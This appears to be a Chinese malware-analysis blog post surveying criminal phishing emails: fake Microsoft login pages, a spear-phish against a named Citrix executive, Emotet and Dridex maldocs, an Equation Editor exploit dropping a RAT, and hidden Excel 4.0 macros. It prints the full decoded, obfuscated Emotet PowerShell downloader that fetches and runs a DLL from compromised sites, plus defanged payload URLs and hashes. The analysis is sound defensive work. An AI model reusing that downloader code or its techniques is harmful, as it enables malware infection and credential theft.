百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 热门文章 > 正文

各类灰黑产钓鱼邮件概括分析

bigegpt 2024-08-29 11:35 2 浏览


背景

在样本的逆向分析中,我们接触到的大多数是直接拿到的恶意样本,有的是PE文件;有的是包含恶意宏代码的office文档;有的是带有漏洞利用的office文档;有的是APK文件;有的是HTA文件;有的只是一个简单的LNK文件……

在分析这些恶意样本的同时,我们也知道这些样本不是凭空出现在这里,出现在受害者的计算机上的。样本从哪来来,它要到哪里去,它通过什么方式去。这些都是很有意思的问题,在本文中,笔者对恶意软件投递的主要分支-钓鱼邮件进行了一个简单的分析,希望大家能喜欢~

首先,个人认为钓鱼攻击和鱼叉攻击是不同的,和钓鱼的定义一样,钓鱼攻击往往没有明确的目标,或是没有精确的目标,只要有鱼儿上钩,攻击者就成功了,这种攻击往往出现在黑灰产攻击中。而鱼叉攻击往往出现在APT中,鱼叉攻击的诱饵很有可能是攻击者针对特定目标,结合其兴趣爱好或是工作岗位精心构造的,目的在于精准打击。但由于很多资料将这两种混为一谈,为了方便描述,在下文中均称为钓鱼攻击。

由于钓鱼攻击成本远远小于漏洞攻击,钓鱼攻击早已被各大家族所青睐,从黑产到APT,从东亚到北欧均有着钓鱼攻击的身影。


账号盗用类钓鱼邮件

对微软账号的钓鱼攻击

通常情况下,钓鱼邮件指的就是账号钓鱼。攻击者通过构建一个假的登录页面,然后通过邮件正文描述或是其他方式,诱导用户点击进入钓鱼页面,输入对应平台的账号密码。此类邮件在钓鱼邮件中占了非常大一部分,用途也十分广泛,小到可以盗取游戏账号密码,大到可以盗取银行账户密码(这个几率倒是很小)。

某邮件属于针对西班牙信托机构相关用户的钓鱼邮件,邮件主题为西班牙语:Accion escáner xero

邮件主要是伪造西班牙的信托机构Accion以诱导用户打开附件的pdf文件。

为了防止邮件被直接报毒或是pdf被单独分析,攻击者给pdf文档设置了密码:BACKOFFICE

PDF文档中只有一张超链接图片:

访问该超链接可得到一个仿造微软的钓鱼页面:

针对特定用户的鱼叉攻击

除开上面那种广撒网的钓鱼方式,还有一些高级的钓鱼邮件是针对特定用户的。这个用户可能是某个网站管理员、也有可能是某个公司职员。但是通常来讲,被针对的用户一定是非常有价值的,此类邮件相对来说要少一些,但一旦成功,危害往往也更大。

此邮件是针对云端运算的科技公司思杰高级产品总监Derek Thorslund的鱼叉攻击。邮件原始内容如下:

攻击者冒充了快递公司LBC Express指定发送钓鱼邮件给Derek Thorslund,当受害者单击邮件中的Read Fax之后,则会通过浏览器打开以下页面,要求用户登录Derek Thorslund的账号密码。
hxxps://citrix.mikewhiteclientsite.com/3539384?ZGVyZWsudGhvcnNsdW5kQGNpdHJpeC5jb20=&&mic#94285?ZGVyZWsudGhvcnNsdW5kQGNpdHJpeC5jb20=

而该页面实际上被一个满屏的iframe给填充了:

填充的地址才是真实的钓鱼页面:hxxps://bqyndorheo.trafficmanager.net/common/pass.php?ijbgtrf=ZGVyZWsudGhvcnNsdW5kQGNpdHJpeC5jb206OjU=

(Web这一块太久没有搞了,如果有说错的地方还望各位大佬见谅~)

而此次钓鱼攻击的对象则是Citrix公司的高级产品总监Derek Thorslund


样本投递类钓鱼邮件

银行木马家族Emotet的高度活跃

目前Emotet应该是最为活跃的银行木马家族,每天的新增样本非常大,且有很多很多个版本。
anyrun上Emotet标签相关样本已有1377页:

而在bazaar上已有超过六万个Emotet相关样本:

笔者这里就以只描述其中一例,让我们管中窥豹看看Emotet强大的运营。

此邮件还是针对西班牙地区的用户。攻击者仿冒西班牙邮政规划局https://www.mitma.es/

下发了一个包含恶意文档的钓鱼邮件,邮件内容主要是告诉用户基本信息和文档的解压密码:

这种带密码的附件在邮件检测系统中,往往有着比较不错的免杀效果:

解压出来的文件是带有VBA宏代码的doc文档,攻击者伪装成office365官方诱导用户启用宏:

VBA代码有一定程度的混淆,主要功能为通过powershell执行一段编码后的base64字符串

执行指令如下:

由于宏代码调试窗口有显示长度限制,这里可以写入到文件查看:

解码后的powershell指令如下:

$U6351=[TYpE]("{2}{0}{1}{4}{3}{5}" -F 'ySTEm.i','O.di','s','EcTO','R','RY')  ;$OLV = [tYpe]("{0}{7}{1}{8}{3}{6}{5}{2}{4}" -F'sY','TEm.NE','ntmAN','v','AGeR','I','iCePO','s','T.seR')  ;  $ErrorActionPreference = ('Si'+('le'+'n')+'t'+('ly'+'C')+('onti'+'n'+'ue'));$Ytd_ppb=$H4_L + [char](64) + $Q01Q;$E15N=(('O'+'1_')+'V');  ( geT-VaRiable u6351 -VaLUEoNLy )::"cRE`ATedIr`eC`Tory"($HOME + (('{0}N'+('sgh'+'o')+'ht{0}'+'G'+'b'+('h5r'+'9o')+'{0}') -f  [cHaR]92));$N95W=(('S'+'28')+'S');  (  Ls  vArIABle:olV).VAlUE::"SECUr`ITY`PrOTO`coL" = ('Tl'+('s1'+'2'));$K_2L=('B6'+'7O');$Bexo28t = ('Q2'+'7V');$M69N=(('U'+'72')+'A');$Zc7n7y_=$HOME+(('{'+'0'+'}'+('N'+'sg')+'hoht{0}'+'G'+('b'+'h5r')+'9o{0}') -F[CHAR]92)+$Bexo28t+('.d'+'ll');$N_1W=(('M'+'34')+'Y');$Ile_vaa=(']'+('b2'+'['+'s://w'+'heel')+'co'+'mo'+'vi'+('n'+'g.co'+'m/p')+'/R'+'u'+'M'+('eRP'+'a')+'/@'+(']'+'b2[s:/')+('/'+'00')+'z'+('y'+'ku')+'.'+'co'+('m/w'+'p'+'-admin/'+'e')+('Yu1'+'Q/')+'@]'+'b'+('2['+'s://k')+('e'+'tore')+('se'+'tm')+('e'+'.com')+'/w'+'p'+('-'+'cont')+('e'+'nt/pmJ')+'/'+('@'+']b')+'2'+('['+'ss:/'+'/')+('ryco'+'m')+'p'+('ut'+'e')+'r.'+('com/c'+'on')+('ten'+'t/T')+('L/@]'+'b'+'2[s'+'s')+(':'+'//')+'d-'+('c'+'em'+'.com')+'/'+'wp'+('-a'+'d')+('m'+'in')+'/'+('J'+'SLwG1')+('/@]b2[s'+':'+'/')+'/'+('thebes'+'t')+'f'+('ikra'+'h.'+'co')+'m'+('/wp-'+'adm'+'i'+'n/')+('f'+'OIl'+'VX/@')+(']b2'+'[')+('ss:/'+'/')+('ph'+'aw')+('aya'+'ge')+'n'+('cy'+'.com/')+'w'+'p'+('-'+'ad')+'mi'+'n'+('/'+'mXo')+'4b'+'/')."rep`L`ACE"(((']b'+'2[')+'s'),([array]('sd','sw'),('h'+('tt'+'p')),'3d')[1])."s`pLIT"($E__V + $Ytd_ppb + $C54Y);$J37V=(('G5'+'2')+'C');foreach ($Yfpdvur in $Ile_vaa){try{(.('New-'+'Ob'+'ject') SYstem.nEt.webcLiEnT)."DoW`N`l`oadfIle"($Yfpdvur, $Zc7n7y_);$W02H=('C'+('59'+'X'));If ((.('Get-I'+'tem') $Zc7n7y_)."LEnG`TH" -ge 38413) {.('r'+'un'+'dll32') $Zc7n7y_,('Co'+('nt'+'ro')+('l_R'+'u'+'nDL')+'L')."tost`R`ING"();$U78W=('M0'+'1N');break;$F24T=('K'+('3'+'8L'))}}catch{}}$A31I=('V'+('8'+'8J'))

该段powershell的主要功能是循环请求预定义的地址,尝试下载dll到本地加载执行:

预定义的下载地址如下:

hxxp://wheelcomoving.com/p/RuMeRPa/
hxxp://00zyku.com/wp-admin/eYu1Q/
hxxp://ketoresetme.com/wp-content/pmJ/
hxxps://rycomputer.com/content/TL/
hxxps://d-cem.com/wp-admin/JSLwG1/
hxxp://thebestfikrah.com/wp-admin/fOIlVX/
hxxps://phawayagency.com/wp-admin/mXo4b/

可以看到大多数下载地址都是wp站点,这里有可能是攻击者自己搭建的wp站点,也有可能是攻击者盗用了别人的wp站点。

下载回来的dll由vc编译,保留了pdb信息:B:\Great_Colo47417192002\Release\demo.pdb
目前VT只有六家杀软对其进行查杀

经过分析,该PDB对应的样本均为Emotet银行木马家族的恶意文件,这里放出部分md5

e4063b9ff606acb932194ee6d3b1bb3f
2a36019df952d92a4c2773bba876aac5
ce02380fd888e7b33d8bb8d055cebe7f
54634ce3868099ab0bc403288bc0173e
419c2447da95691b15ea22d2d082fbef
c88c6af81fdff2d06c43ffbffd324249
984f3c3923529ea92da74271c975e173
50c75097512030a9f7b870a951a0dc30
92a0b2ca0d9641407b6c2f553d2a8d41
843509cdcec6fa2bac88fa573d71d892
47956a141849310c4903224a67d37888
ef2835d16e6c62dc3d8d989f78133388
0c43b4bb2c19ffeccaf90c4126f89819
809c5016a1ff3d36b9e1b8321687f466
fc66175a5e51e4e0c3b68d40e063e981
9cd678b75a8b4ba1cb7df94b6f1d6eba
4dc86990cce88968576e525e5196e661
607e15a699083629640b943a96435f66
c5cc669313381a2411b00185d33e7342
f4a59d9111d0fa4925dca33c15285beb

该版本的Emotet拥有一个用于解密的导出函数:

解码的数据是名为7765的资源:

钓鱼邮件下发商业远控

随着网络安全的发展,安全从业者在进步的同时,攻击者也在不断更新攻击方式,各类远控木马接踵而至。对于普通的黑灰产来讲,通过钓鱼邮件直接下发远控木马是效率最高的,毕竟广撒网,总有安全意识薄弱的人会中招。

目前通过钓鱼邮件下发的木马主要有AgentTesla、SnakeKeyLogger、NonaCore、QuasarRAT、njRAT、Guloader、RemcosRAT以及更多笔者没看到的样本。

这里也只大概举例,不会对每类样本进行详细分析。

其中一封钓鱼邮件是攻击者以付款通知为诱饵对葡萄牙地区用户发起的钓鱼攻击:

两个附件解压出来均为C#编写的Nanobot后门。

钓鱼邮件下发漏洞文档

直接投递exe,效率是有了,但是成功率较低,且pe作为附件在没有加密压缩的情况下大多数时候还是会被检测到。
这个时候,对exe文件进行加密压缩然后将解压密码写在邮件正文中是一个不错的解决方案。投递带漏洞的office加载exe是另一个不错的解决方案。这里以一个11882漏洞利用的样本为例:

邮件冒充了Platech的销售总监下发账单,诱导受害者下载并打开附件xlsx文件

经过简单分析可知附件的xls文档并非VBA宏代码,而是11882的漏洞利用文档,于是直接在Eqendt32.exe的00411658漏洞触发点处设置断点:

断点设置成功后,打开恶意文档触发断点:

漏洞触发后,会跳转到shellcode执行:

解密出URLDownloadToFile并尝试从hxxp://216.170.114.70/regasm/vbc.exe 下载vbc.exe到本地加载执行

尝试下载文件保存到C:\Users\Public\Public\vbc.exe并通过ShellExecute执行:

下载回来的vbc.exe依旧是C#编写的远控木马,疑似为AgentTesla,通过邮件的方式将本地收集到的信息上传到攻击者的邮件服务器:smtp.osmosissasia.com

利用正规远程控制工具

除了使用商业木马和定制木马,使用正规的远程控制工具完成对受害者的远控也不少。

此邮件是攻击者仿冒了俄罗斯的货物运输公司Dellin对俄罗斯用户发起的钓鱼攻击。

为了取得受害者信任,攻击者构建了大篇幅的虚假信息和一个带密码保护的附件文档,诱导用户解压并运行附件文件:

附件中的样本解压后可以看到伪装为了pdf文档,文档名译为电子要求.exe

经过简单分析,该文件属于sfx自解压文档,内含一个msi安装包和一个Install.exe

两个EXE均为Remotet Utilities远程控制工具,installer.exe用于隐蔽安装host_news_mod_mod.msi文件,host_news_mod_mod安装界面如下:

经过简单分析,和之前黑产利用tv远控受害者类似,此次攻击中,攻击者也是通过正规的远程控制工具进行攻击。

Macro4.0宏文档投递

之所以将Macro4.0宏单独拿出来写,是因为这种宏代码执行的方式跟我们熟知的VBA不一样。先介绍一下Macro4.0

微软从1992年开始在office中引用了名为Excel4.0的宏代码技术,也被成为XLM宏。和如今常见的VBA宏不同的是,Excel4.0宏代码写在表格中,宏代码的具体文件呈现为xml而不是二进制文件。1993年,微软更新了Excel5.0技术,也就是现在常见的VBA宏代码。

顺便说一下,关于VBA和VBS的关系。个人理解VBA和VBS语法相同,主要是依赖环境不同。VBS依赖于wscript.exe执行,而VBA代码依赖于office组件执行。

根据微软的数据来看,从Excel2010到Excel2019全线产品都支持Excel4.0宏。同时微软也提到,虽然目前Microsoft Excel仍然支持Excel4.0宏,但还是建议用户使用VBA宏。

Macro4.0常见应用

Excel4.0的创建非常简单,只需要在某个工作表上右键,选择插入:

在弹出来的对话框中选择MS Excel4.0:

Excel则会自动创建一个名为Macro1的新工作表,中文系统下为<宏1>,在创建的新工作表中,可以执行宏指令。

选中第一行宏代码,右键选择执行:

宏代码运行之后,则会弹出cmd和弹框显示Macro4.0 Test

从Excel4.0的设计初衷来看,该类宏可以很方便协助Excel进行各类的数据计算和汇总。

2018年10月份,来自Outflank的安全研究员曝光了此类技术在恶意软件中的大肆使用,并且指出使用XLM宏比常见的VBA宏具有更好的免杀性。

原因主要是:
XLM宏和VBA宏的设计理念不同,导致了宏代码在文件结构中的呈现不同。

和VBA宏一样的是,在文件打开时,Excel依旧会提醒用户
Because of your security settings, macros have been disabled. To run macros, you need to reopen this workbook, and then choose to enable macros. For more information about enabling macros, click Help.
让用户决定是否要启用宏。

不同的是,当用户单击启用之后,ALT + F11打开宏代码窗口,却并不能看到宏代码。也不能通过一些常见的宏代码提取工具检测分析宏。

这是因为默认情况下,XLM宏代码存储在xl\Macrosheets\文件夹下的Sheet1.xml中。打开该xml文件,可以清晰看到刚才在Excel工作表中插入的宏代码。

保护方式

对于VBA代码来讲,最常见的保护方式为混淆和密码保护。
但两者均有弊端。
对于混淆来讲,由于VBA代码能做的东西始终有限,所以大部分的VBA的主要功能都是一个loader/downloader。大多数的VBA会通过复杂的流程和解码、最后调用powershell指令下载并执行后续的payload。或者在本地释放一个脚本并通过com组件加载执行。

对于密码保护来讲,熟悉office文件格式的分析者可以很快绕过密码保护,且现在有很多工具可以直接删除掉密码。

对于XLM宏来讲,最常见的保护方式为隐藏。

最基础的隐藏方式是直接在带有宏的工作表上右键,选择隐藏:

这种方式不太靠谱,也被称作为浅隐藏,用户只需要在任意表格上右键,选择取消隐藏即可找到隐藏的Macro工作表。

以钓鱼邮件中的一例实际样本为例,原始样本模仿了一份中学成绩单,并且显示只有一个sheet表格。

在Sheet1上右键,选择取消隐藏,会弹出对话框显示一个名为(m1)(m2)(m3)的工作表

取消隐藏后的工作表如下,这里可以看到,左上角第一个单元格是G1,而不是A1,所以可以知道,有列单元格被隐藏,隐藏在列单元格上右键,取消隐藏即可显示前面的单元格。

取消隐藏之后,在A列和C列中,即显示了恶意的宏代码,宏代码没什么特别的,在此文中不作详细分析。

可以看到,这样的隐藏方式还是很容易就能够被分析人员所找到,代码的保护性做的不是很好。接下来看看通过hex数据修改来实现工作表隐藏的样本。

还是以一个实际的样本为例,样本内嵌了Excel4.0宏,但是在工作表上鼠标右键却显示没有隐藏的工作表。

针对此类样本,可以在使用010之类的hex数据编辑工具,搜索85 00
筛选一下,然后往后数九个字节,这里的值应该是00 01 02中的其中一项。
其中00 表示不隐藏,01表示浅隐藏(可通过鼠标右键取消隐藏) 02表示深度隐藏(无法在Excel中找到)
这里是02,所以可以手动将其修改为00 或者01,即可在excel中找到对应的工作表。

首先修改为01验证一下,修改为01之后打开文档,即可通过鼠标右键取消隐藏带宏的工作表。

修改为00之后,打开xls文档即可看到该工作表:

具体宏代码如下:

这样操作背后的原理支持其实是修改BOUNDSHEET这个结构。
若对该结构感兴趣可下载XLM的结构解析继续研究:
https://download.microsoft.com/download/1/A/9/1A96F918-793B-4A55-8B36-84113F275ADD/Excel97-2007BinaryFileFormat(xls)Specification.pdf

接下来再看一个实际样本,是另外一种简单的隐藏方式。
攻击者以账单为诱饵,投递了一个xlsm文件:

xlsm文件中有一个名为Rectangle3 的文本框,文本框内容为View your invoice,单击该文本框会触发宏代码:

确保了该文档没有隐藏的工作表之后,我们可以直接在当前工作表搜索等于符号”=”,在I2681的地方可以看到相关代码:

这里很明显是将文件设置为了和背景一样的白色,可以全选文档,然后更改所有文字的颜色,然后再缩小文档,就可以看到藏有代码的单元格:

这里的宏代码运行后会尝试从hxxp://expenses.zaytechsolutions.com/we18w1i.gif 下载一个由VC编译的dll文件到本地加载执行:

经过简单分析,该dll疑似为网银木马家族Dridex的样本,且该dll包含了一个pdb路径:
c:\DependSlow\ProvideBrought\ArriveHad\Swim.pdb

根据该PDB,又可以找到四个关联样本:
139af2873a7e9e1751ada1862bde70ea
08c40826bf7cd3963b4f133c74216241
d371f6568e6cc494fbf8bee063fe8c09
831c361b1f54a876c98fb6bf3cd5d688

将关联的样本下载回来分析,基本可以确定是Dridex家族样本。


小结

就本文而言,例举了小部分的的钓鱼样本,只是抛砖引玉,从样本分析的角度对目前常见的灰黑产相关的钓鱼邮件进行了一个简单的分析。关于邮件伪造、钓鱼域名等内容并未展开叙述。

钓鱼邮件一直是撕开企业安全口子的一个常见方式,随着邮件检测系统的日渐普及,攻击者用了加密码这种很简单的方式就可以绕过大多数的检测系统。相信在之后的钓鱼攻击中,带密码的附件将会越来越多,作为防守方,我们则需要从攻击者编造的正文小作文中提取出有效的密码进行有效防御。但无论是邮件检测,还是本地杀软,防守都是比较被动的,攻击者可以通过很多方式来绕过检测,再加上邮件正文的甜言蜜语,没有安全意识的用户中招是再正常不过的事情,笔者认为,光靠检测系统,是不可能防御掉所有的钓鱼邮件的,现有的检测系统大多数只能查过去的样本,只能在攻击者后面追着跑,真正防御的方式,还是培养大家拥有一个良好的安全意识。(虽然这个更难)

相关推荐

Docker篇(二):Docker实战,命令解析

大家好,我是杰哥上周我们通过几个问题,让大家对于Docker有了一个全局的认识。然而,说跟练往往是两个概念。从学习的角度来说,理论知识的学习,往往只是第一步,只有经过实战,才能真正掌握一门技术所以,本...

docker学习笔记——安装和基本操作

今天学习了docker的基本知识,记录一下docker的安装步骤和基本命令(以CentOS7.x为例)一、安装docker的步骤:1.yuminstall-yyum-utils2.yum-con...

不可错过的Docker完整笔记(dockerhib)

简介一、Docker简介Docker是一个开源的应用容器引擎,基于Go语言并遵从Apache2.0协议开源。Docker可以让开发者打包他们的应用以及依赖包到一个轻量级、可移植的容器中,...

扔掉运营商的 IPTV 机顶盒,全屋全设备畅看 IPTV!

其实现在看电视节目的需求确实大大降低了,折腾也只是为了单纯的让它实现,享受这个过程带来的快乐而已,哈哈!预期构想家里所有设备直接接入网络随时接收并播放IPTV直播(电信点播的节目不是太多,但好在非常稳...

第五节 Docker 入门实践:从 Hello World 到容器操作

一、Docker容器基础运行(一)单次命令执行通过dockerrun命令可以直接在容器中执行指定命令,这是体验Docker最快捷的方式:#在ubuntu:15.10容器中执行ech...

替代Docker build的Buildah简单介绍

Buildah是用于通过较低级别的coreutils接口构建OCI兼容镜像的工具。与Podman相似,Buildah不依赖于Docker或CRI-O之类的守护程序,并且不需要root特权。Builda...

Docker 命令大全(docker命令大全记录表)

容器生命周期管理run-创建并启动一个新的容器。start/stop/restart-这些命令主要用于启动、停止和重启容器。kill-立即终止一个或多个正在运行的容器rm-于删除一个或...

docker常用指令及安装rabbitMQ(docker安装rabbitmq配置环境)

一、docker常用指令启动docker:systemctlstartdocker停止docker:systemctlstopdocker重启docker:systemctlrestart...

使用Docker快速部署Storm环境(docker部署confluence)

Storm的部署虽然不是特别麻烦,但是在生产环境中,为了提高部署效率,方便管理维护,使用Docker来统一管理部署是一个不错的选择。下面是我开源的一个新的项目,一个配置好了storm与mono环境的D...

Docker Desktop安装使用指南:零基础教程

在之前的文章中,我多次提到使用Docker来安装各类软件,尤其是开源软件应用。鉴于不少读者对此有需求,我决定专门制作一期关于Docker安装与使用的详细教程。我主要以Macbook(Mac平台)为例进...

Linux如何成功地离线安装docker(linux离线安装httpd)

系统环境:Redhat7.2和Centos7.4实测成功近期因项目需要用docker,所以记录一些相关知识,由于生产环境是不能直接连接互联网,尝试在linux中离线安装docker。步骤1.下载...

Docker 类面试题(常见问题)(docker面试题目)

Docker常见问题汇总镜像相关1、如何批量清理临时镜像文件?可以使用sudodockerrmi$(sudodockerimages-q-fdanging=true)命令2、如何查看...

面试官:你知道Dubbo怎么优雅上下线的吗?你:优雅上下线是啥?

最近无论是校招还是社招,都进行的如火如荼,我也承担了很多的面试工作,在一次面试过程中,和候选人聊了一些关于Dubbo的知识。Dubbo是一个比较著名的RPC框架,很多人对于他的一些网络通信、通信协议、...

【Docker 新手入门指南】第五章:Hello Word

适合人群:完全零基础新手|学习目标:30分钟掌握Docker核心操作一、准备工作:先确认是否安装成功打开终端(Windows用户用PowerShell或GitBash),输入:docker--...

松勤软件测试:详解Docker,如何用portainer管理Docker容器

镜像管理搜索镜像dockersearch镜像名称拉取镜像dockerpullname[:tag]列出镜像dockerimages删除镜像dockerrmiimage名称或id删除...